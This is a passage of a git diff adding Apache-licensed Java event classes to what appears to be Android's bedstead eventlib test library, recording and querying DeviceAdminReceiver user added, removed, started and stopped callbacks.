+    public String toString() {
+        return "DeviceAdminTransferOwnershipCompleteEvent{"
+                + ", bundle=" + bundle()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserAddedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserAddedEvent.java
new file mode 100644
index 0000000..633286a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserAddedEvent.java
@@ -0,0 +1,208 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.queries.UserHandleQuery;
+import com.android.queryable.queries.UserHandleQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onUserAdded(Context, Intent, UserHandle)} is called.
+ */
+public final class DeviceAdminUserAddedEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminUserAddedEvent} events. */
+    public static DeviceAdminUserAddedEventQuery queryPackage(String packageName) {
+        return new DeviceAdminUserAddedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminUserAddedEvent}. */
+    public static final class DeviceAdminUserAddedEventQuery
+            extends EventLogsQuery<DeviceAdminUserAddedEvent,
+            DeviceAdminUserAddedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminUserAddedEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminUserAddedEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+        UserHandleQueryHelper<DeviceAdminUserAddedEventQuery> mAddedUser =
+                new UserHandleQueryHelper<>(this);
+
+        private DeviceAdminUserAddedEventQuery(String packageName) {
+            super(DeviceAdminUserAddedEvent.class, packageName);
+        }
+
+        /**
+         * Queries {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onUserAdded(Context, Intent, UserHandle)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminUserAddedEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminUserAddedEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        /** Queries {@link UserHandle} passed into
+         * {@link DeviceAdminReceiver#onUserAdded(Context, Intent, UserHandle)}.
+         */
+        @CheckResult
+        public UserHandleQuery<DeviceAdminUserAddedEventQuery> whereAddedUser() {
+            return mAddedUser;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminUserAddedEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            if (!mAddedUser.matches(event.mAddedUser)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminUserAddedEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("addedUser", mAddedUser)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminUserAddedEvent}. */
+    public static DeviceAdminUserAddedEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context,
+            Intent intent, UserHandle addedUser) {
+        return new DeviceAdminUserAddedEventLogger(deviceAdminReceiver, context, intent, addedUser);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminUserAddedEvent}. */
+    public static final class DeviceAdminUserAddedEventLogger
+            extends EventLogger<DeviceAdminUserAddedEvent> {
+        private DeviceAdminUserAddedEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver, Context context,
+                Intent intent, UserHandle addedUser) {
+            super(context, new DeviceAdminUserAddedEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            mEvent.mAddedUser = new SerializableParcelWrapper<>(addedUser);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminUserAddedEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminUserAddedEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminUserAddedEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link Intent} which was received. */
+        public DeviceAdminUserAddedEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+
+        /** Sets the {@link UserHandle}. */
+        public DeviceAdminUserAddedEventLogger setAddedUser(UserHandle addedUser) {
+            mEvent.mAddedUser = new SerializableParcelWrapper<>(addedUser);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected SerializableParcelWrapper<UserHandle> mAddedUser;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onUserAdded(Context, Intent, UserHandle)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /**
+     * The {@link UserHandle} passed into
+     * {@link DeviceAdminReceiver#onUserAdded(Context, Intent, UserHandle)}.
+     */
+    public UserHandle addedUser() {
+        if (mAddedUser == null) {
+            return null;
+        }
+        return mAddedUser.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminUserAddedEvent{"
+                + " intent=" + intent()
+                + ", addedUser=" + addedUser()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserRemovedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserRemovedEvent.java
new file mode 100644
index 0000000..9669a84
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserRemovedEvent.java
@@ -0,0 +1,206 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.queries.UserHandleQuery;
+import com.android.queryable.queries.UserHandleQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onUserRemoved(Context, Intent, UserHandle)} is called.
+ */
+public final class DeviceAdminUserRemovedEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminUserRemovedEvent} events. */
+    public static DeviceAdminUserRemovedEventQuery queryPackage(String packageName) {
+        return new DeviceAdminUserRemovedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminUserRemovedEvent}. */
+    public static final class DeviceAdminUserRemovedEventQuery
+            extends EventLogsQuery<DeviceAdminUserRemovedEvent,
+            DeviceAdminUserRemovedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminUserRemovedEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminUserRemovedEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+        UserHandleQueryHelper<DeviceAdminUserRemovedEventQuery> mRemovedUser =
+                new UserHandleQueryHelper<>(this);
+
+        private DeviceAdminUserRemovedEventQuery(String packageName) {
+            super(DeviceAdminUserRemovedEvent.class, packageName);
+        }
+
+        /**
+         * Queries {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onUserRemoved(Context, Intent, UserHandle)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminUserRemovedEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminUserRemovedEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        /** Queries {@link UserHandle} passed into
+         * {@link DeviceAdminReceiver#onUserRemoved(Context, Intent, UserHandle)}.
+         */
+        @CheckResult
+        public UserHandleQuery<DeviceAdminUserRemovedEventQuery> whereRemovedUser() {
+            return mRemovedUser;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminUserRemovedEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            if (!mRemovedUser.matches(event.mRemovedUser)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminUserRemovedEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("removedUser", mRemovedUser)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminUserRemovedEvent}. */
+    public static DeviceAdminUserRemovedEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent, UserHandle removedUser) {
+        return new DeviceAdminUserRemovedEventLogger(deviceAdminReceiver, context, intent, removedUser);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminUserRemovedEvent}. */
+    public static final class DeviceAdminUserRemovedEventLogger
+            extends EventLogger<DeviceAdminUserRemovedEvent> {
+        private DeviceAdminUserRemovedEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent, UserHandle removedUser) {
+            super(context, new DeviceAdminUserRemovedEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            mEvent.mRemovedUser = new SerializableParcelWrapper<>(removedUser);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminUserRemovedEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminUserRemovedEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminUserRemovedEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link Intent} which was received. */
+        public DeviceAdminUserRemovedEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+
+        /** Sets the {@link UserHandle}. */
+        public DeviceAdminUserRemovedEventLogger setRemovedUser(UserHandle removedUser) {
+            mEvent.mRemovedUser = new SerializableParcelWrapper<>(removedUser);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected SerializableParcelWrapper<UserHandle> mRemovedUser;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onUserRemoved(Context, Intent, UserHandle)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /**
+     * The {@link UserHandle} passed into
+     * {@link DeviceAdminReceiver#onUserRemoved(Context, Intent, UserHandle)}.
+     */
+    public UserHandle removedUser() {
+        if (mRemovedUser == null) {
+            return null;
+        }
+        return mRemovedUser.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminUserRemovedEvent{"
+                + " intent=" + intent()
+                + ", removedUser=" + removedUser()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStartedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStartedEvent.java
new file mode 100644
index 0000000..e5b4836
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStartedEvent.java
@@ -0,0 +1,206 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.queries.UserHandleQuery;
+import com.android.queryable.queries.UserHandleQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onUserStarted(Context, Intent, UserHandle)} is called.
+ */
+public final class DeviceAdminUserStartedEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminUserStartedEvent} events. */
+    public static DeviceAdminUserStartedEventQuery queryPackage(String packageName) {
+        return new DeviceAdminUserStartedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminUserStartedEvent}. */
+    public static final class DeviceAdminUserStartedEventQuery
+            extends EventLogsQuery<DeviceAdminUserStartedEvent,
+            DeviceAdminUserStartedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminUserStartedEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminUserStartedEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+        UserHandleQueryHelper<DeviceAdminUserStartedEventQuery> mStartedUser =
+                new UserHandleQueryHelper<>(this);
+
+        private DeviceAdminUserStartedEventQuery(String packageName) {
+            super(DeviceAdminUserStartedEvent.class, packageName);
+        }
+
+        /**
+         * Queries {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onUserStarted(Context, Intent, UserHandle)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminUserStartedEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminUserStartedEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        /** Queries {@link UserHandle} passed into
+         * {@link DeviceAdminReceiver#onUserStarted(Context, Intent, UserHandle)}.
+         */
+        @CheckResult
+        public UserHandleQuery<DeviceAdminUserStartedEventQuery> whereStartedUser() {
+            return mStartedUser;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminUserStartedEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            if (!mStartedUser.matches(event.mStartedUser)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminUserStartedEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("startedUser", mStartedUser)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminUserStartedEvent}. */
+    public static DeviceAdminUserStartedEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent, UserHandle startedUser) {
+        return new DeviceAdminUserStartedEventLogger(deviceAdminReceiver, context, intent, startedUser);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminUserStartedEvent}. */
+    public static final class DeviceAdminUserStartedEventLogger
+            extends EventLogger<DeviceAdminUserStartedEvent> {
+        private DeviceAdminUserStartedEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent, UserHandle startedUser) {
+            super(context, new DeviceAdminUserStartedEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            mEvent.mStartedUser = new SerializableParcelWrapper<>(startedUser);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminUserStartedEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminUserStartedEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminUserStartedEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link Intent} which was received. */
+        public DeviceAdminUserStartedEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+
+        /** Sets the {@link UserHandle}. */
+        public DeviceAdminUserStartedEventLogger setStartedUser(UserHandle startedUser) {
+            mEvent.mStartedUser = new SerializableParcelWrapper<>(startedUser);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected SerializableParcelWrapper<UserHandle> mStartedUser;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onUserStarted(Context, Intent, UserHandle)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /**
+     * The {@link UserHandle} passed into
+     * {@link DeviceAdminReceiver#onUserStarted(Context, Intent, UserHandle)}.
+     */
+    public UserHandle startedUser() {
+        if (mStartedUser == null) {
+            return null;
+        }
+        return mStartedUser.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminUserStartedEvent{"
+                + " intent=" + intent()
+                + ", startedUser=" + startedUser()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStoppedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStoppedEvent.java
new file mode 100644
index 0000000..4b20642
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStoppedEvent.java
@@ -0,0 +1,210 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.queries.UserHandleQuery;
+import com.android.queryable.queries.UserHandleQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when
+ * {@link DeviceAdminReceiver#onUserStopped(Context, Intent, UserHandle)} is called.
+ */
+public final class DeviceAdminUserStoppedEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminUserStoppedEvent} events. */
+    public static DeviceAdminUserStoppedEventQuery queryPackage(String packageName) {
+        return new DeviceAdminUserStoppedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminUserStoppedEvent}. */
+    public static final class DeviceAdminUserStoppedEventQuery
+            extends EventLogsQuery<DeviceAdminUserStoppedEvent,
+            DeviceAdminUserStoppedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminUserStoppedEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminUserStoppedEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+        UserHandleQueryHelper<DeviceAdminUserStoppedEventQuery> mStoppedUser =
+                new UserHandleQueryHelper<>(this);
+
+        private DeviceAdminUserStoppedEventQuery(String packageName) {
+            super(DeviceAdminUserStoppedEvent.class, packageName);
+        }
+
+        /**
+         * Queries {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onUserStopped(Context, Intent, UserHandle)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminUserStoppedEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminUserStoppedEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        /** Queries {@link UserHandle} passed into
+         * {@link DeviceAdminReceiver#onUserStopped(Context, Intent, UserHandle)}.
+         */
+        @CheckResult
+        public UserHandleQuery<DeviceAdminUserStoppedEventQuery> whereStoppedUser() {
+            return mStoppedUser;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminUserStoppedEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            if (!mStoppedUser.matches(event.mStoppedUser)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminUserStoppedEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("stoppedUser", mStoppedUser)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminUserStoppedEvent}. */
+    public static DeviceAdminUserStoppedEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context,
+            Intent intent, UserHandle stoppedUser) {
+        return new DeviceAdminUserStoppedEventLogger(
+                deviceAdminReceiver, context, intent, stoppedUser);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminUserStoppedEvent}. */
+    public static final class DeviceAdminUserStoppedEventLogger
+            extends EventLogger<DeviceAdminUserStoppedEvent> {
+        private DeviceAdminUserStoppedEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent,
+                UserHandle stoppedUser) {
+            super(context, new DeviceAdminUserStoppedEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            mEvent.mStoppedUser = new SerializableParcelWrapper<>(stoppedUser);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminUserStoppedEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminUserStoppedEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminUserStoppedEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link Intent} which was received. */
+        public DeviceAdminUserStoppedEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+
+        /** Sets the {@link UserHandle}. */
+        public DeviceAdminUserStoppedEventLogger setStoppedUser(UserHandle stoppedUser) {
+            mEvent.mStoppedUser = new SerializableParcelWrapper<>(stoppedUser);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected SerializableParcelWrapper<UserHandle> mStoppedUser;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onUserStopped(Context, Intent, UserHandle)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
